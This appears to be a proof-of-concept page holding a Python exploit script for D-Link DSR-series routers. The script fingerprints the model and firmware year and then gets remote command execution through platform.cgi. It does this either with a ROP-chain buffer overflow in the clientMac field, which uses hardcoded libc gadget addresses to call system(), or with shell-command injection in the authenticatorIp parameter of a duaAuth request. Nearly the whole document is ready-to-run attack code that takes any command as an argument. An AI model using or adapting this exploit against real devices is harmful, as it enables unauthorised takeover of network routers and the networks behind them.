4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
from pwn import *
from urllib import parse
import requests
import ssl
import socket

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'

captivePortalLib = 0x405f4000
libc = 0x4017c000

gadget3 = libc + 0x00116734 # pop {r0, r1, r2, r3, pc};
gadget4 = libc + 0x000ff0e8 # mov r0, sp ; blx r3 

system = libc + 0x398a0

def fingerprint():
  print('[+] fingerprint')
  url = root_url+'/'
  s = requests.Session()
  s.verify=False
  r = s.get(url)

  if '/scgi-bin/platform.cgi' in r.text:
    url = root_url+'/scgi-bin/platform.cgi'
    r = s.get(url)

  if 'Copyright © ' not in r.text:
    return None

  if ' D-Link Corporation.' not in r.text:
    return None

  device = None
  if 'Unified Services Router - ' in r.text:
    device = r.text.split('Unified Services Router - ')[1].split('<')[0]
    device = device.strip()
  elif 'Product Page: ' in r.text:
    device = r.text.split('Product Page: ')[1].split('<')[0]
    device = device.strip()

  year = r.text.split('Copyright &#169; ')[1].split(' D-Link Corporation.')[0]
  year = int(year)

  print('    device: '+str(device))
  print('    year  : '+str(year))

  return [device, year]

def get_payload(cmd):
  if type(cmd) == str:
    cmd = cmd.encode()


  cm  = b'a'*86
  cm += p32(gadget3) # pop {r0, r1, r2, r3, pc};
  cm += b'0000'
  cm += b'1111'
  cm += b'2222'
  cm += p32(system)
  cm += p32(gadget4)
  cm += cmd+b' >/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #'

  payload = b'{"clientMac":"'+cm+b'"}'
  #print(payload)

  params = b'action=duaLogout&vendor=&apMac=&clientMac=&apIp=&clientIp=&ssid=&vlan=&returnUrl=&authenticationSuccessUrl=&pageIndex=&returnLogoutUrl=&deviceType=&notifyUrl=&sessionRandom=&hash=&authenticatorIp=&externalCpResult='+payload
  return params

def get_header(host, payload):
  header  = b'POST /platform.cgi HTTP/1.1\r\n'
  header += b'Host: ' + host.encode() + b'\r\n'
  header += b'User-Agent: curl/7.68.0\r\n'
  header += b'Content-Length: {content_length}\r\n'
  header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n'

  header = header.replace(b'{content_length}', str(len(payload)).encode())
  #print(header.decode())
  return header

def get_header2(host, payload):
  header  = b'GET /scgi-bin/platform.cgi?'+payload+b' HTTP/1.1\r\n'
  header += b'Host: ' + host.encode() + b'\r\n'
  header += b'User-Agent: curl/7.68.0\r\n'
  header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n'

  return header

def accessible():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))

  if not no_https:
    s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1_2)
    s.do_handshake()
  s.close()


def exploit(sslv):
  payload = get_payload(cmd)
  header = get_header(host, payload)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  if not no_https:
    s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=sslv)#ssl.PROTOCOL_SSLv23)
  s.sendall(header)
  s.send(payload)

  res = s.recv(0x1000)
  #print(res)
  #print(res.decode())
  s.close()

def old_exploit():
  params = {'action':'duaAuth',
'vendor':'dlinkdwc',
'authenticatorIp':'; echo "\r\n">/proc/`pidof cgi`/fd/1 ; '+cmd+'>/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #',
'apMac':'11-22-33-44-55-66',
'clientMac':'00-22-33-33-22-11',
'apIp':'172.16.1.3',
'clientIp':'192.168.10.100',
'ssid':'dlinkGuest',
'vlan':'12',
'returnUrl':'duaAuth.cgi',
'authenticationSuccessUrl':'www.dlink.com',
'pageIndex':'1',
'returnLogoutUrl':'duaLogout.cgi',
'deviceType':'4',
'notifyUrl':'duaNotify.cgi',
'sessionRandom':'1488870579',
'hash':'7691cf9c7b5a3676f94b53146d9cc0bd4cf4518d28af7f8850c7da6375c1bd37'}
  url = root_url+'/scgi-bin/platform.cgi'
  s = requests.Session()
  s.verify=False
  r = s.get(url, params=params)

  print(r.content)
  print(r.content.decode())

def main():
  result = fingerprint()
  device = result[0]
  year = result[1]
  if device.startswith('DSR-150'): 
    print('[-] not implemented')
  elif device.startswith('DSR-250'): 
    if year in [2020, 2021]:
      exploit(ssl.PROTOCOL_TLSv1_2)
    elif year < 2020 and year >= 2018:
      old_exploit()
    elif year == None:
      print('    failed to fingerprint')
    else:
      print('    older version')
  elif device.startswith('DSR-500'): 
    if year in [2020, 2021]:
      print('[-] not implemented')
      #exploit(ssl.PROTOCOL_TLSv1_2)
    elif year < 2020 and year >= 2018:
      old_exploit()
    elif year == None:
      print('    failed to fingerprint')
    else:
      print('    older version')
  elif device.startswith('DSR-1000'): 
    if year in [2020, 2021]:
      print('[-] not implemented')
      #exploit(ssl.PROTOCOL_TLSv1_2)
    elif year < 2020 and year >= 2018:
      old_exploit()
    elif year == None:
      print('    failed to fingerprint')
    else:
      print('    older version')
  else:
    print('[-] unknown device')

if __name__ == '__main__':
  if not (len(sys.argv) == 4 or len(sys.argv) == 5):
    print("usage: <host> <port> <command> [no_https]")
    exit()

  host = sys.argv[1]
  port = int(sys.argv[2])
  cmd = sys.argv[3]
  no_https = False
  if len(sys.argv) == 5:
    no_https = True

  if no_https:
    root_url = 'http://'+host+':'+str(port)
  else:
    root_url = 'https://'+host+':'+str(port)
  main()